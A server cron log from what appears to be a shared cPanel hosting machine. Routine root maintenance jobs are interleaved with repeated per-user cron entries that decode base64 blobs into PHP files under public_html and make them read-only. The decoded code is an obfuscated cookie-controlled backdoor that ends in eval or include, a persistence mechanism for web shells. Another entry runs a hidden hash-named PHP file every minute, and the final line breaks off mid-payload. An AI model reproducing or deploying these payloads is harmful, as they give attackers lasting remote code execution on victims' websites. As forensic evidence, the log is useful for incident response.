Mar  2 00:53:01 medusa CROND[12339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:53:01 medusa CROND[12343]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:53:01 medusa CROND[12344]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:53:01 medusa CROND[12351]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:53:01 medusa CROND[12352]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:53:01 medusa CROND[12353]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:53:01 medusa CROND[12354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:53:01 medusa CROND[12363]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:54:02 medusa CROND[20321]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:54:02 medusa CROND[20322]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:54:02 medusa CROND[20326]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:54:02 medusa CROND[20328]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:54:02 medusa CROND[20327]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:54:02 medusa CROND[20331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:54:02 medusa CROND[20332]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:54:02 medusa CROND[20334]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:54:02 medusa CROND[20337]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:54:02 medusa CROND[20338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:54:02 medusa CROND[20341]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:54:02 medusa CROND[20342]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:54:02 medusa CROND[20343]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:55:01 medusa CROND[26388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:55:01 medusa CROND[26573]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:55:01 medusa CROND[26574]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:55:01 medusa CROND[26577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:55:01 medusa CROND[26578]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:55:01 medusa CROND[26579]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:55:01 medusa CROND[26580]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:55:01 medusa CROND[26582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:55:01 medusa CROND[26583]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:55:01 medusa CROND[26581]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:55:01 medusa CROND[26587]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:55:01 medusa CROND[26594]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:55:01 medusa CROND[26595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:55:01 medusa CROND[26598]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:55:01 medusa CROND[26599]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAk